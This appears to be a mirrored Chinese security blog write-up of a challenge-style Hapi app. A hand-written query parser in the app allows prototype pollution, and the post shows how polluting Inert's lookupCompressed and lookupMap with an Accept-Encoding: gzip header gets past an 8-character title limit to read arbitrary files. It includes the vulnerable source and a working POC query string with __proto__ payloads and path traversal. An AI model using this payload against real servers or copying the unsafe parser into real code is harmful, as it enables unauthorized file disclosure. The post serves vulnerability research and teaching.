文章总结: 该文档披露了Hapi框架Inert插件中因原型污染漏洞导致的任意文件读取风险。攻击者可通过污染Object.prototype的lookupMap等属性,结合Accept-Encoding请求头绕过路径长度限制,实现无长度限制的任意文件读取。文中提供了具体漏洞利用代码和POC示例。 综合评分: 82 文章分类: 漏洞分析,WEB安全,安全开发,渗透测试
Hapi Inert lookupMap 原型污染实现无长度限制任意文件读取
原创
YMsora YMsora
YMs0ra的安全漫路
2026年4月28日 23:42 浙江
在小说阅读器读本章
去阅读
特定情景
不多说,上源码,最近很多时候都没有更新博客了,
在憋坨大的
我先把源码片段给出
{ path: '/note/{title}', method: 'GET', handler: async (req, h) => { try { const title = validateTitle(req.params.title); const filepath = file(title); await fs.access(filepath); return h .file(filepath, { confine: false, filename: title }) .type('application/json'); } catch (err) { const isTitleErr = err.message.startsWith('Title'); return h.response({ error: isTitleErr ? err.message : 'Note not found' }).code(isTitleErr ? 400 : 404); } }}]);
这里传入title参数。然后h.file进行读取,我们要明白一个先觉条件,
就是file这个方法是挂载在插件inert上的,我们去找title的逻辑
const title = validateTitle(req.params.title);
并且
const validateTitle = t => { if (!t) throw new Error('Title required'); if (typeof t !== 'string') throw new Error('Title must be a string'); if (t.length > 8) throw new Error('Title too long (max 8 chars)'); return t;};
这里的title不能大于8length
这里的title是可以路径穿越的,但是因为长度的限制,只能穿../../se就停止
但是inert所成的file执行的时候会默认读以下属性
options.lookupCompressed options.lookupMap options.etagMethod
当然原本是没有的,但是我们可以看到arg的处理
function parseQuery(qs = '') { const out = {}; for (const pair of qs.split('&')) { if (!pair) continue; let [k, v = ''] = pair.split('='); k = decodeURIComponent(k.replace(/\+/g, ' ')); v = decodeURIComponent(v.replace(/\+/g, ' ')); const parts = k.split(/\[|\]/).filter(Boolean); let cur = out; for (let i = 0; i < parts.length - 1; i++) { cur = cur[parts[i]] = cur[parts[i]] || {}; } cur[parts.at(-1)] = v; } return out;}
这里的[][]是嵌套,并且out是{},{}.xxx
这样就很容易打原型链污染,
当
options.lookupCompressed options.lookupMap options.etagMethod
被正确配置的时候
Object.prototype.lookupCompressed =true;Object.prototype.lookupMap = { gzip: "crets/super_secret_flag.txt"};
这时候当请求头带
Accept-Encoding: gzip
就会去自动拼接上面的路径,自己去找服务端的文件
这样也就绕过了title的长度限制,实现了任意文件读取
单附个POC:
..%2f..%2f..?__proto__[lookupCompressed]=1&__proto__[lookupMap][gzip]=secrets/super_secret_flag.txt&__proto__[etagMethod]=false
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:YMs0ra的安全漫路 YMsora YMsora《Hapi Inert lookupMap 原型污染实现无长度限制任意文件读取》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。





![[高危漏洞预警]LiteLLM预认证SQL注入漏洞CVE-2026-42208](/images/random/titlepic/6.jpg)



评论